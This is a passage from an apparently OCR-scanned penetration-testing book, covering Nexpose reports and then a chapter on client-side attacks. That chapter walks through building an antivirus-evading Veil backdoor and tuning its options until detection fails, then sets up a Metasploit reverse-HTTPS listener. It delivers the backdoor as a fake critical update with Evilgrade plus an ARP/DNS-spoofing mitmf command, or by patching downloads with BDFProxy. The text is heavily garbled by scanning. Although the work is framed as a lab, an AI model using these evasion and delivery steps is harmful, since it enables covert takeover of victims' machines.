we've seen it in previous chapters. Scrolling down further reveals the
REFERENCES to the particular exploit:

REFERENCES

Source
BID
CVE

CVE

XF 54361

At the bottom, it'll show us the REMEDIATIONS on how we can fix
this exploit:

REMEDIATIONS

VULNERABILITY ROLLUP SOLUTIONS

VULNERABILITY SOLUTIONS

Change the Tomcat service administrator account password.
Configuration remediation steps

The Tomcat service has an administrator account set to

lefault configuration. This can be easily changed in conf/tomcat-users.xml

For this vulnerability, all we need to do is just change the
administrator password and not use the default configuration.
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Another useful thing is in the Reports tab:

Create a report

Name  metasploitable report Heportume zone  (GMT 0400) Eastemn Time (US & Canada)

Template

Docurnent All
| o by « Sclected e Lo Sy PN . : v

VErvie

— e - - - — - —a \
|
Hmst S "

This framework allows us to generate reports for each scan that we
do, and there are different types of template for the reports. Inside
Create a report, we can see that there is an Audit Report that
contains a lot of detailed information for the programmers or for the
technical people. We can use an Executive Report, which has less
information and is made for the managers or for the top-level people
that don't have much experience with technical stuff. We can select
any template we want and name it anything. We will call this report ,
as shown in the preceding screenshot. If we scroll a little we can
select the format that we want:
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File format

PDF

Scope
-
Select Scan Select Sites Assets  Filter report scope based
Asset Groups or Tags on vulnerabilities
Frequency

Do not run a recurring report

Configure advanced settings

It's set to PDF in the preceding screenshot. Then, we are going click
on Select Scan, select our target scan that we want to generate a
report for, and select metasploitable:

Seclect the Site that was Scanned

To gelect a goan 1o repor on, first select the site in which the scan was run,

Wame Assels Vulnerahilities Risk Score w Type Last Scan
f=i metasplonable 1 306 156,413 Static J22me,
1:23:01 AM

Then, we click on SAVE & RUN THE REPORT to generate the
report:
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File format

PDF

Scope
Select Scan Filter report scope based
on vulnerabilities
Frequency
Do not run a recurring report
Configure advanced settings

We can also generate reports automatically every time, because we
can schedule reports, schedule scans, and we can also schedule an
automatic report each time a scan is done. For example, if we are
scanning every week, you can also generate a report every week,
every time that scan's done. Now, just download the report by clicking
on the report, and let's see what it looks like:

View reports

m Hows 10 1-10f1

Report Name Most Recent Report

2 metasploitable repont Jul12th, 2018, 2:56 AM

As we can see in the following screenshot, it has the date, it has the
title, it has all the exploits that have been found, but this is the
executive report. It has small details about the exploits and more
graphical stuff to show the executives the risks that have been found
and how critical they are:
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1. Executive Summary
This report represents a security audit performed by Nexpose from Rapid7 LLC. It contains confidential information about the state of
your network. Access to this information by unauthorized personnel may allow them to compromise your network.

Site Name Start Time 'End Time “Total Time Status
metasploitable July 12,2018 01:13, EDT | July 12, 2018 01:23, EDT |9 minutes Success

There is not enough historical data to display risk trend.
The audit was performed on one system which was found to be active and was scanned,

Vulnerabilities by Severity

Critical Severe Moderate

There were 306 vulnerabilities found during this scan. Of these, 78 were critical vulnerabilities. Critical vulnerabilities require immediate
attention. They are relatively easy for attackers to exploit and may provide them with full control of the affected systems. 198
vulnerabilities were severe. Severe vulnerabilities are often harder to exploit and may not provide the same access to affected systems.
There were 30 moderate vulnerabilities discovered. These often provide information to attackers that may assist them in mounting
subsequent attacks on your network. These should also be fixed in a timely manner, but are not as urgent as the other vulnerabilities.

As we can see in the preceding screenshot, Nexpose shows us much
more detail and it's much more advanced. It's directed towards bigger
companies, bigger infrastructures, where we need to always make
sure everything is up to date, everything is installed, and there aren't
any exploits.

Summary

We have seen how we can use the Metasploit framework, which
comes preinstalled with Kali Linux. We then used this framework for
various scans and also studied how to analyze the reports generated.
We then installed the Nexpose tool and saw how to use it to scan the
vulnerabilities and get reports in the form of graphs. We also learned
how to read through it.

In the next chapter, we will be covering various client-side attacks.
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12

Client-Side Attacks

In the previous chapter, we started by learning how to gain access to
victim machines using server-side attacks. We will now move on to
client-side attacks, discussing what they are, and how a tool called
Veil can be used to generate an undetectable backdoor. We will also
discuss payloads. Once we have a brief idea about payloads, we will
generate a backdoor through which we will implement client-side
attacks on our own system, enabling us to listen to connections.
Finally, we will look at how to implement backdoors in real time, as
well as techniques we can use to protect our system from such
attacks.

In this chapter, we will cover the following topics:

Client-side attacks

Installing Veil

Payloads overview

Generating a Veil backdoor

Listening for connections

Testing the backdoor

Fake bdm1 updates

Client-side attacks using the bdm2 BDFProxy
Protection against delivery methods

Client-side attacks

In this section, we're going to learn about client-side attacks. Often,
it's better to try to gain access to a target using server-side attacks,
such as trying to find exploits in the operating system and in the
applications installed. If that doesn't work, or if our target is hidden
behind an IP or is using a hidden network, our next resort is a client-
side attack. Client-side attacks require the user to do something, such
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as open a link, install an update, or download an image that will then
run code on their machine. Because these attacks require user
interaction, information gathering is very important information about
an individual's applications and who they are as a person. For a
client-side attack to be successful, we need to know a person's
friends, what networks and websites they use, and what websites
they trust. Therefore, our focus when gathering information is the
person, rather than their applications or operating system.

The attacking machine will be a Kali machine and the target machine
will be Windows. To ensure they're on the same network, both
machines will use NAT networks. In our examples, we will be using
reverse connections, so separate IP addresses are not essential in
this case.

Installing Veil

In this section, we're going to learn how to generate an undetectable
backdoor. A backdoor is just a file that, when executed on a target
computer, will give us full access to it. There are a number of ways of
generating backdoors, but what we're interested in is generating a
backdoor that is not detectable by antivirus programs. This actually
isn't hard to do, as we will see, if you use a tool called Veil-Evasion.

Veil-Evasion used to be a standalone tool, but its creators have
recently combined it with other tools in the framework, re-releasing it
as VeilFramework. Nowadays, it is usually referred to as just Veil.

Download the latest version of Veil, which is 3, from the following
GitHub link: . If you are unfamiliar with GitHub, it is a version
control system that allow programmers to post, share, and update
source code. GitHub is

used a lot when downloading programs. Veil's repository can either
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be downloaded via

GitHub's link or by copying it to your terminal. Now, before we
download it, we actually

want to store it in the directory, so we will be doing to navigate to a
different

directory, and we are going to put to open a directory called . Now,
this is where

we will be storing your optional programs, hence the name , and if we
do to list the

available directories, we will see that we only have one directory for a
program called .

Now, if we want to download , we have to copy the repository link
from GitHub and then go to our Terminal, to the location where we
want to download it. So, first we change the directory to , and then we
are going to do , and input the URL of the repository. The command
is very simple, as follows:

git clone https://github.com/Veil-Framework/Veil

Here, we're using the command to tell that we want to clone or
download this framework, program, or project, before sharing the link
with Veil. To download the desired project, simply hit Enter, as shown
in the following screenshot:

: fopt# git clone https://github.com/Veil-Framework/Veil
Cloning into 'veil'...
remnte: Counting ohjects: 2058, done.

remote: Compressing objects A% (113/113), done.

remote: Total 2050 (delta ). ed 148 (delta 72), pack-reused 1858
Receiving objects: 180% (20858, 617.19 KiB | 30.00 KiB/s, done.
Resolving deltas: 100% (

If we use the command to list our files, we should see a new directory
called . We're able to navigate to that directory by inputting . The
command should list all the available files, including

to the directory by inputting

script will install Veil-Evasion.

, which we need to install. To do this, navigate
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, and run the bash script. This To run an executable in Linux from the
terminal, simply enter , followed by the name of the executable, as
shown as follows:

Isetup.sh

The previous command should generate the following result:

osversion
osmajversion
arch

trueuser
userprimarygroup
userhomedir
rootdir

veildir
outputdir

¥ob i

root

root

JSroot

Jopt/veil

Jvar/lib/veil
/var/lib/veil/output
/var/lib/veil/setup-dependencies
fvar/lib/veil/wi
/var/lib/veil/wine/drive c
Z:\varilibvveil\winevdrive c\Rubyl87\bin\gem

winedrive
gempath

[I] Kali Linux 2018.2 x86 64 detected...

[?] Are you sure you wish to install Veil?

Continue with installation? ([yles/[slilent/[N]o): [}

As you can see in the previous screenshot, we're being asked if we
want to install Veil, to which , we are. Note that the installation may
take a while.

Now, we first open the Terminal we are going to navigate to the
directory, because that's where we cloned

inputting

, and that was cloned in a directory called . So, we're

to navigate to change the working directory, and we're going to the
directory. Then we are going to launch, and are now inside the
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directory. If we input the command, we will see we have the
executable. So, we can run any executable, like we said, by putting
followed by the name of the executable, which is . We are going to
launch it, leading to the welcome screen for , as shown in the
following screenshot, and now we can start using the tool. We'll cover
the usage of this tool in the next chapter.

Payloads overview

Now that Veil is installed, we can take a look at its commands. The
commands are straightforward, with allowing us to exit the program,
and information about a specific tool. will list the available tools, and
finally, enables the use of any tool, as shown in the following
screenshot: providing us with

will update Veil,

-]1: @VeilFramework

Main Menu
2 tools loaded
Available Tools:

1) Evasion
2) Ordnance

Available Commands:

exit Completely exit Veil

info Information on a specific tool
list List available tools

options Show Veil configuration

update Update Veil

use Use a specific tool

The command displays Veil's main commands, which are as follows:

1. : This generates undetectable backdoors
2. : This generates the payloads used by ; this is more of a secondary
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tool

A payload is a part of the code, or of the backdoor, that does what we
want it to. In this case, it gives us a reverse connection and
downloads and executes something on a target computer.

When Veil-Evasion has loaded, you should see something similar to
the following screenshot:

Yeil>: use 1

[wWeb]: http W.vell-Tran K. comy [Twitter]: @vellFramework

Veil-Evasion Menu

41 payloads loaded

Available Commands:

back Gu Lo Veil's main menu

checkvt Check WirusTotal.com against generated hashes
clean Remove generated artifacts

exit Completely exit Veil

info Information on a specific payload

list List available payloads

use Use a specific payload

As you can see, Veil gives us a list of commands that can run on this
tool. What we want here is to all of the available payloads, of which
there are 41. Each payload is divided into three parts, as shown in
the following screenshot. We've highlighted the payload we'll be
using, :
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Veil/Evasion=: list

[*] Available Payloads:
1) autoit/shellcode inject/fTlat.py

2) auxiliary/coldwar wrapper.py
3) auxiliary/macro converter.py
4) auxiliary/pyinstaller wrapper.py

5) c/meterpreter/rev _http.py
6) c/meterpreter/rev http service.py
7) c/meterpreter/rev_tcp.py
8) c/meterpreter/rev_tcp service.py

9) cs/meterpreter/rev _http.py
cs/meterpreter/rev https.py
cs/meterpreter/rev tcp.py
cs/shellcode inject/base64.py
cs/shellcode inject/virtual.py

go/meterpreter/rev_http.py
go/meterpreter/rev https.py
go/meterpreter/rev tcp.py
go/shellcode inject/virtual.py

lua/shellcode inject/flat.py
perl/shellcode inject/flat.py

powershell/meterpreter/rev _http.py
powershell/meterpreter/rev _https.py
powershell/meterpreter/rev tcp.py
powershell/shellcode inject/psexec wvirtual.py
powershell/shellcode inject/virtual.py

python/meterpreter/bind tcp.py
python/meterpreter/rev http.py
python/meterpreter/rev https.py
python/meterpreter/rev tcp.py

The first part of the payload's name is , which refers to the
programming language the payload will be wrapped in. As you can
see in the preceding screenshot, languages used include GO, C, CS,
Python, PowerShell, and Ruby.

The second part of any payload is really important, as this is the type
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of payload; in other words, the type of code that's going to be
executed on the target computer.

In this example, we're using Meterpreter, which is a payload designed
by Metasploit. Metasploit is a huge framework sometimes used for
hacking. Meterpreter runs in memory, so is difficult to detect and
doesn't leave a large footprint. Using Meterpreter, we can gain full
control over a target computer, allowing us to navigate through the
filesystem, turn on the webcam, install or download files, and much
more.

The third part of a payload's name is the method that's going to be
used to establish its connection. In our example, that's . , which
stands for reverse, and is the protocol that will be used to establish
the connection. There are also a few examples of in the preceding
screenshot, which creates a reverse TCP connection.

A reverse connection is where the target computer connects to an
attacker computer via a backdoor. This method bypasses antivirus
programs because the connection is not directed at the target
computer, but rather at the attacker instead. In our case, we are going
to use a port that many websites use, or, so the connection will
appear as a harmless website connection. Reverse connections also
work on hidden computers, making it one of the most practical
methods of gaining access to a machine.

Some payloads don't follow the conventional naming pattern, such as
. This instead creates a normal payload that injects our other payload.

Generating a Veil backdoor

We're now going to use Veil to generate a backdoor. First, we'll run
the command. We'll type the command, as we want to use and press
Enter, and, as we want to use the fifteenth payload, we'll run the
command, as follows:
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Payload Information:

MName: Pure Golang Reverse HTTPS Stager
X go
g Normal
cription: pure windo meterpreter/reverse https stager, no

Payload: go/meterpreter/rev_

Required Options:

BADMACS
CLICKTRACK
COMPILE TO EX Y npile to an
CURSORCHECK e for mouse movements
DISKSIZE . for a min m number of gi
HOSTNAME Optional: Required system hostname
TNIFCT_MFTHOD Virtual or Heap
LHOST IP of the Metasploit handler
LPORT 0 Port of the Metasploit handler
MINPROCS X Minimum number of runni
PROCCHEC Che for active VM pro
X Optional: Minimum number of proc ors
Check for at least 3 of RAM
Optional: " 5, check if accelerated
USERNAME Optional: ser account
USERPROMPT Prompt user prior to injection
UTCCHECK Check if system uses UTC time

Available Commands:

back Go back to VWeil-Ev

exit Completely exit Veil
generate Generate the payload

options Show the s lcode's options
set Set shellcode option

Using the following options, we're going to change the payload's to
the IP address of the Kali machine we're using.

To get the IP address of our Kali machine, we have to run . Split the
screen by right-clicking and selecting Split Horizontally, and then
run the command. As shown in the following screenshot, the Kali
machine's IP address is , which is where we want the target
computer's connection to return to once the backdoor has been
executed:
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:/opt/Veil# ifconfig
eth0: flags=4163<UP, BROADCAST, RUNNING, MULTICAST= mtu 1560
inet MM netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:Te@b:9166 prefixlen 64 scopeid Ox20<link=
ether 08:00:27:0b:91:66 txgueuelen 1000 (Ethernet)
cets 562137 bytes B16777958 (778.9 MiB)

5 dropped @ overruns 0 frame @
TX packets 280585 bytes 20028728 (19.1 MiB)
TX errors © dropped @ overruns @ carrier ®© collisions @

lo: flags=73<UP,LOOPBACK,RUNNING>= mtu 65536
inet 127.08.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1l@<host=
loop txqueuelen 1000 (Local Loopback)
RX pack 54314 bytes 29981222 (28.5 MiB)
RX errors © dropped @ overruns @ Trame ©
TX packets 54314 bytes 29981222 (28.5 MiB})
TX errors @ dropped @ overruns @ carrier @ collisions O

To set as , write the command followed by the option you want to
change, as shown as follows:

set LHOST 10.0.2.15

We now need to change so that it's set to . This port is also used by
web servers, so will not appear suspicious and should still bypass
firewalls. To set the correct port, input the command, as shown in the
following screenshot:
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[go/meterpreter/rev_https==]: optians

Payluad: go/meterpreter/rev_https selecled
Required Options:
Hamc alu DLs’ripficn

BADMACS ALS Check for WM based MAC
CLICKTRACK X Require X number of c1¢Lr, bHTWIP execution
COMPILE TO EXE Y Compile to an executable
AL: ¥ for mouse movements
for a minimum number of glgs for hard disk
STHA Optional: Required system hostname
INJE{T METHOD ir L Virtual or Heap
LHOST 10.0.2.15 IP of the Metasploit handler
LPORT aogo
MINPROCS X Ce
PROCCHECK FALSE Z esses
PROCFSSORS X al: H1n1muu numhpr processonrs
RAMCHECK FALSE £ for at least 32 gigs of RAM
SLEEP X Optional: Sleep "Y" s , check if accelerated
USERNAME X optional: The required user account
USERPROMPT ALS Prompt user prior to injection
UTCCHFCK AlS Check if system uses UTC time

Available Commands:

This process will bypass every antivirus program except AVG,
according to experience. Antivirus programs work using a large
database of signatures. These signatures correspond to files that
contain harmful code, so if our file matches any value in a database,
it will be flagged as a virus or as malware. Because of this, we need
to make sure that our backdoor is as unique as possible so it can
bypass every piece of antivirus software. Veil works hard by
encrypting the backdoor, obfuscating it, and injecting it in memory so
that it doesn't get detected, but this doesn't wash with AVG.

To ensure our backdoor can bypass AVG, we need to modify the
minimum number of processors used by it in this case, . To do this,
use the following command: eterocessors 1

We will also modify the option, which is the number of seconds a
backdoor will wait before it executes the payload. To tell your
backdoor to wait seconds, use the following command:
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set SLEEP 6

These changes are reflected in the following screenshot:

[go/meterpreter/rev https==]:
Payload: go
Required Options:

Name Value

HOSTNAME
INJECT METHOD
LHOST

PROCESS0RS
RAMCHFCK

terpreter/rev_https selected

Descriplion

Check lor VM based MAC addres
Require X number of clicks
compile to an

Optional:

Virtual

IPr of the 3

Port of the Metasploit handler
Minimum number running C
Check for acti VM proce
Optional: Minimum number of proc
Check for at least 3 of RA

xec

for

ution

hard disk

acceleraled

SLEEP 0 Oplional: Slee

USERNAME ¥ Optional: The requirec
USERPROMPT a1 1 = Pr L €r prior
UTCCHECK FALSE Check if system uses UTC time

Available Commands:

back Go back to Veil-Ewvasion

axit Completely exit Vell

ge rate t load

options 2's options
set 5et shell option

We are now going to generate the backdoor using the command, as
shown as follows:

We now need to name our backdoor. Here, we're going to name it .
The following screenshot illustrates what we see once a backdoor is
generated; this includes the module used by the backdoor, and where
it's stored:
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odule: go/meterp
ble writ

rev_https_8080.rc

Hit enter to continue...

To test our backdoor, we're going to bypass Veil's command, which is
not always accurate, and VirusTotal, which shares its results with
antivirus software, and instead opt for the website NoDistribute, as
shown in the following screenshot:

Now, click on Browse... and navigate to your file at , as shown as
follows:

Cancel File Upload Q m

O Recent i« @ wvar b wel output compiled

{ir Home N . 1 o
& Deskiop B rev_hitps_ROBO.exe 29M8 0521

[} Documents

(® Downloads

1 Music

) Pictures

H Videos

+ Other Locations

Once we have clicked Scan File, or View Previous Results, we can
see that the file we uploaded has successfully bypassed all antivirus
programs, as shown in the following screenshot:
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E Text Results @ yze Result 0'3' x @ =

K Fllename i
W | 2TEMB

g MD3 L SHA2Z56
S5TSSA0d AT T rRdOASS WS I Th 75+ 3 RS

w Detected by & scan Date

Your file has been scanned with 35 different antivirus software (no results have been distributed)
The results of the scans has been provided below in alphabetical order.

Riescan This Fle

B A-sauared: C K Easpersky Antivirus: Clea
0 Ad-Aware: Clea n Mcafee: Clea
'ﬁ'. n .
S8 Avast Clea e MS Security Essantiale: C1
i AVG Frae: Clear 5 NANO Antivinus: Claar
Avira; Clear
4 man:’r.an' 5
@ BiDefender: Claar
Gm...n,-- Anthvirus: Cleas
E BullGuard r =
\I Fanda CommandLine: Clea

Remember that Veil will work best when its kept up to date with the
latest version. It's also worth noting that whether a backdoor goes
undetected or not is often arbitrary one backdoor we previously
generated with no sleep setting was detected by antivirus software,
as was one with a sleep time of 10 seconds. A backdoor set with a
sleep time of 6 seconds, however, bypassed every program.

We recommend playing around with all the available options within a
payload to find something that works for you.

Listening for connections

As you'll know, the backdoor we created uses a reverse payload. For
the reverse payload to work, we need to open a port in our computer
so that the target machine can connect to it. When we created the
backdoor, we set the port to , so we need to open that port on our Kali
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machine. Remember, the name of our chosen payload
is in this example.

We are now going to split our screens, as before, and listen for
incoming connections using the Metasploit framework. To run
Metasploit, use the command, which should generate output similar
to the following screenshot:

:~# msTconsole

dEEBEEBh JBEBP dBBEEBBEF dBEBBEED
s EEP
dEP dEP EB
dBP

dEP

dBEBBEb
dB’

dBEBE" dBP
dBP dBP ¢
dBP dBBEEP dBBEB

To boldly go where no
shell has gone before

4.16.58-dey 1
its - 1P87 auxiliary - 307 post 1
pads - 41 encoders - 10 nops 1
http://r-7.co/trymsp 1

To listen for incoming connections, we need to use a module in
Metasploit:
command:

use sxpiomutimanaier ONCE l@auNched, navigate to the . To launch that module,
use the following

module. The most important thing that you want to specify in this
module is the payload, which we do with the command. To set the
payload as , use the following command:
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set PAYLOAD windows/meterpreter/reverse_https

If we run the command now, we should see that the payload has
changed to , as shown in the following screenshot:

chnique (Accepted: '', seh, thread. process, none)

LHOST ) The ;Eal listener hostname
LPORT 8443 es The local listener port
LURI The HTTP Path

Exploit target:

Id Name

é- ﬁiiacard Target
Setting the to the IP address of our Kali machine is a similar process,
and can be done using the following command:

set LHOST 10.0.2.15

Before you go any further, make sure that your payload, host, and
port are set correctly with the same values as those generated with
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the backdoor originally, as shown as follows:
) > set LHOST 10.8.2.15

) = set LPORT 80880
} = show options

Module options {exploit/multi/handler):

Setting Reguired Description

Payluad opliuvns
Name
EXITFUNC x1 nique (A ed= Bl , thread, 55, none)
LHOST > SR
LPORT
LURI

Exploit target:

Id MName

0 Wildcard Target

All we need to do now is execute the command. Now, Metasploit is
waiting for connections, as we can see in the following screenshot, on
port and on our IP address, which is . Once a connection is
established, we will be able to control the target computer:

msf exploit( ) = exploit

[#] Started HTTPS reverse handler on https://10.0.2.15:8080

Testing the backdoor

To test that our backdoor is working as expected, we're going to put it
on our web server and download it from the target computer. We
don't recommend this approach for anything other than testing your
backdoor.

As Kali can be used as a website, we're going to put our backdoor
online and download it from the target Windows machine. We're
going to keep this download in one place, a folder called , as shown
in the following screenshot:
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[Esan <E|-.rar'm.w.fhtml.h E

Name v  Size Modified
& Recent zis E 3
o H evil-files 0 items 06:31

ome —

& Desktop [ indexchtml 10.7k8 12 Apr

[} Documents E?ﬂ’ﬂ index.nginx-debian.html 612 bytes 12 Apr
® Downloads

J1 Music

‘0] Pictures

H Videos

i Trash

+ Other Locations

Now, the backdoor we created using Veil-Evasion, which was stored
in

, heeds to be copied and pasted into the

directory. And that's it! We can download the file from Kali.

To start the web server and website, input the following command in
the terminal: service apache2 start

Here, the command is , and is the name of the web server. Hitting
Enter will execute the previous command.

We now need to navigate to our Kali machine's IP address, . This
should open the basic file that we created that tells us our web server
is working, as shown as follows:
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ﬂ O Type here to search

T

B 8 | [ apachez Debian Defaul x

« = 0O @

= L8

& 100

2,13

4w

*

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Debian systems. If you can read this page, it means that the Apache HTTP server
installed at this site is working properly. You should replace this file (located at

Jwar fuana/html/ index. html) before continuing to operate your HTTP server.

If

that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site’s administrator.

Debian's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Debian tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itzelf can be found by accessing the manual if the
apache?-doc package was installed on this server.

The configuration layout for an Apachez web server installation on Debian systems is as follows:

fetefapached!

!

T T, T, o, T, T, o, o,

Apache2 Debian Default Page

you are a normal user of this web site and don't know what this page is about, this probably means

-- apache.conf
“==  ports.conf
- - mods-enabled
{-- *.load
Tes T oconf
== conf-enabled
e ¥, conf
- Fites-enobled
“es ¥_conf

apache? . conf 15 the man configuration file. Tt puts the pieces together by including all remaining
confiquration files when starting up the web server.

ports. canf 15 always included fram the man confiquration file. [t 15 used to determine the
listening ports for incoming connections, and thiz file can be customized anytime.

Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/ directories contain
particular ::nnflgul.'-mun smippets which manage modules, global configuration fragments, or
virtual host configurations, respectively.
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To go to the directory containing the backdoor, go to and hit Enter.
We can then download and run the backdoor, as shown in the
following screenshot:

— — {3 inr T 10.0.2.15/x

Index of /evil-files

Name Last modified Size Description

a Parent Directory -
rev hitps 8080 exe 2018-06-18 0521 7 BM

Apache/2.4.33 (Debiany) Server at 10.0.2.13 Port §0

Now that we have run the backdoor on the Windows machine, our
Kali machine will tell us that we have received a connection from the
target computer, as shown in the following screenshot:

0.2.1

16 Stag yload (180825 bytes) ...
. 06 - 18 - 0480
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This means that we now have full control over that computer. In the
preceding screenshot, we can see that we have a Meterpreter
session, which allows us to do anything that the rightful user of that
computer can do.

To check that the backdoor is working correctly, use the command.
You should see that you're inside the machine, which runs

, has a architecture, uses the language, and Meterpreter x86 for
Windows:

> sysinfo
: MSEDGEWIMN1®
0s : Windows 10 (Build 17134).
Architecture : X684

System Language : en US
Domain : WORKGROUP
Logged On Users : 3
Meterpreter . X86/windows

We've now essentially hacked our target computer. Nice work!

Fake bdm1 updates

Although we have an undetectable backdoor, we still haven't found a
smart and efficient way to deliver it to the target machine. In real life,
a target probably won't download an executable and run it if we ask
them to, so we're now going to look at how to fake an update that the
user will want to download and install on their machine.

This scenario will work as long as we are in the middle of a
connection, for example, when using a fake network, when
implementing a man-in-the-middle attack, or when redirecting traffic
via a mobile phone.

In this scetion, we are going to cover DNS spoofing with ARP
poisoning. This will mean we're in the same network as the target
machine, which in this example is wired and not wireless. We'll use a
tool called Evilgrade to act as a server to produce the fake update.
You can install Evilgrade from github.
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After you have downloaded and run the command, run the
command to see a list of the programs we can hijack updates for, as
shown in the following screenshot:

evilgrade=show modules

List of modules:

allmynotes
amsn
appleupdate
appstore

apptapp
apt

atube
autoit3
bbappworld
blackberry
bsplayer
ccleaner
clamwin
cpan
cygwin

dap

As you can see, there are 67 programs that we can hijack updates
from, including some popular ones such as Google Analytics, Nokia,
Safari, and Download Accelerator Plus, which is what we will use for
this example.

Run the command to use the DAP module. Then, use the command
to see all of the available configurable options, as shown in the
following screenshot:
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evilgrade=configure dap
evilgrade(dap)>show options

Display options:

Name = Download Accelerator

Version = 1.0

Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
Description = ™"

VirtualHost = "(update.speedbit.com)"

description This critical update fix internal vulnerability | Description display in the update

endsite update.speedbit.com/updateok.html Website display when finish update

enable Status

title Critical update Title name display in the update

failsite wwiw . speedbit.com/finishupdate.asp?noupdate=&R=0 | Website display when did't finish update
./agent/agent.exe Agent to inject

The main option we will focus on is , so we need to replace
the path with the program path that will be installed as the update. In
our case, we want to install a backdoor as the update.

The previous backdoor in the Generating a Veil backdoor section that
we created uses a payload, which does not work with DAP. Instead,
we will be using a different backdoor named that uses a payload. To
create such a backdoor, please refer to the steps in the Generating a
Veil backdoor section.

To change the so that it executes our backdoor instead of an update,
use the following command:

set agent /var/www/html/backdoor.exe

Replace the path in the command to the path where the backdoor is
placed. Now, run the command again to check that it has been
configured correctly, as shown in the following screenshot:
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evilgrade(dap)>sct age Jvar i/html /backdoor.exe

set agent, /

evilgrade[dég)b_

Display options:

Hame = Download Accelerator

Version = 1.0

Author = [° Franclsco Amato < famato +[ATIl+ infobytesec.com=>"]
Description

VirtualHost "(update.speedhit.com)"”

description This critical update fix internal vulnerability Description display in the update

endsite update.speedbit.com/updateok.html wWebsite display when finish update

enable Status

title Critical update Title name display in the update

failsite www . speedbit.com/finishupdate.asp?noupdate=&R=0 | Website display when did't finish update
/var/wew/html/backdoor.exe Agent to inject

We can also set any other options that we want in here the same
way; we just input the name followed by the value. One that you
might want to set is the .

Now, in the future, maybe this website is not going to work, so if it
displays an error on the target computer, we can change this website
to any website that you want; you can just change it to .

When everything is ready, start the server by running the command,
as follows:

[DNSSERVER] DNS Server Ready. waiting for Coennections ...

Now, any time Evilgrade gets an update request, it will tell whoever is
requesting an update that there is an update our backdoor. To do this,
we need to redirect any request for to Evilgrade.

We can do this switch with a DNS spoofing attack, spoofing any
requests from to Evilgrade (and our own IP address).

Open the file using Leafpad with the
command, and change the port for the DNS server to to avoid conflict
with Evilgrade, as shown in the following screenshot:
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[[DNS]]

#
# Here you can configure MITMf's internal DNS server
#

0 # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!

(
port 5353 # Port to listen on
()

1pvB # Run in IPv6 mode (not fully tested, might break stuff!)

#

# Supported formats are 8.8.8.8#453 or 4.2.2.1#853#tcp or 2001:4866:4860: : 8888
# can also be a comma seperated list e.g 8.8.8.8,8.8.4.4

#

nameservers = 8,8.8.8

[[IA]]] # Queries for IPv4 address records
*.thesprawl.org=192.168.178.27

update.speedbit.com=10.0.2.15

If we take a look at our records, we will see that we are now
redirecting any requests to to our own IP address, , which Evilgrade
is running

on.

All we have to do now is run a MITMf with the following command:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i etho --dns

Hit Enter and you're done! The DNS spoofing is complete. Now that
Evilgrade is running, our backdoor can be downloaded and executed
from :
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:~# mitmf --arp --spoof --gateway 10.0.2.1 --target 10.9.2.5 -1 eth® --

] MITMf v06.9.8 - 'The Dark Side'
Spoof v0.6

| DNS spooling enabled

| ARP spoofing enabled

sergio-Proxy v0.2.1 online
SSLstrip ve.9 by Moxie Marlinspike online

Net-Creds v1.0 online

MITMT-API online

serving Flask app "core.mitmfapi® (lazy loading)

Error starting HTTP server: [Errno 98] Address already in use
_ HTTP server online

Environment: production

|'.-=
=
|
|
|
|_
|_
|
|_
2

llse a production WSGT server ins

Debug mode: off

Running on http://12/.0.8.1:9999/ (Press CIRL+C To quit)
_ DNSChef vB.4 online
| SMB server online

To listen for connections, change the options on the Terminal by using
the module, setting the payload to

, setting to , which is our Kali machine IP, and to , as shown in the
following screenshot:

msf exploit( ) > show options
Module options (exploit/multi/handler):

Name Current Setting Required Description

Payload optiens (windows/meterpreter/reverse http):

Name Current Setting Required Description

EXITFUNC process Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.0.2.15 yes The local listener hostname

LPORT 8080 yes The local listener port

1 URT no The HTTP Path
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To reiterate, the target program is going to check for updates using
, which will redirect to the IP address where Evilgrade is running
thanks to MITMTf.

We now need to check for DAP updates on the target computer,
which, in our case, is a Windows machine; a dialog should tell us that
a Critical update is required when we try to update the DAP
application, as shown in the following screenshot:

e DAP Update 22 >

Update search results

Description | Wersion Size
EF Citicalupdate | 9732.2996.0.9 [ 278 MB
Product description:

Thiz critical update fix internal vulnerability

< Back Mext = Cancel |

Once the update has been downloaded and installed, running the
command on the Meterpreter Terminal session on our Kali machine,
we should confirm that we have control over the target computer by
running the command, as shown in the following screenshot:
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yload (188825 bytes) ...
1 -0100

DGEWIN1®
ws 10 (Duild 17134).

Client-side attacks using the bdm2 BDFProxy

In this section, we're going to look at another backdoor delivery
method: running our backdoor via an active download. In other
words, a user will download and install a program that will run as
expected, but with our payload, or backdoor, running in the
background. This is possible using a tool called Backdoor Factory
Proxy. This also requires a man-in-the-middle access method, such
as ARP poisoning.

For this example, we'll go with ARP poisoning so that all traffic will be
redirected through our own computer. First, we need to modify the
configuration of the file with the following command:

leafpad /etc/bdfproxy/bdfproxy.cfg

We will now do two things. First, set the parameter to , as shown in
the following screenshot:

[Overall]

[proxyMode = transparent| # Modes: regular or Mone (for libmproxy < 13), socks5, tramsparent, reverse, upstream
MaxSizeFileRequested = 100000000 # will send a 502 request of large content to the client (server error)
certlocation = ~/.mitmproxy/mitmproxy-ca.pem

proxyPort = BOBB

sslparts 443, 8443

loglevel INFO

logname = proxy.log

resourceScriptFile = bdfproxy msf resource.rc

Second, change the parameter to your Kali machine's IP address, as
shown in the following screenshot:
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[[[WindowsIntelx64]]]

PATCH TYPE = APPEND #]IUMP/SINGLE/APPEND

# PATCH METHOD overwrites PATCH TYPE, use automatic or onionduke
PATCH METHOD = automatic

PORT = 8088

# SHELL for use with automatic PATCH METHOD

SHELL = iat reverse tcp stager threaded

# SUPPLIED SHELLCODE for use with a user supplied shellcode payload
SUPPLIED SHELLCODE = None

LERO _CERT = True

PATCH DLL = True

# PUT Import Directory Table in a Cave vs a new section (Experimental)
IDT IN CAVE = False

The proxy, which works across all operating systems, uses an
executable download that will also contain the backdoor. For it to
work, all we need to do is set our IP address,

, and then start the proxy by typing and hitting Enter, as shown in the
following screenshot:

:~# bdfproxy
Writing resource script.
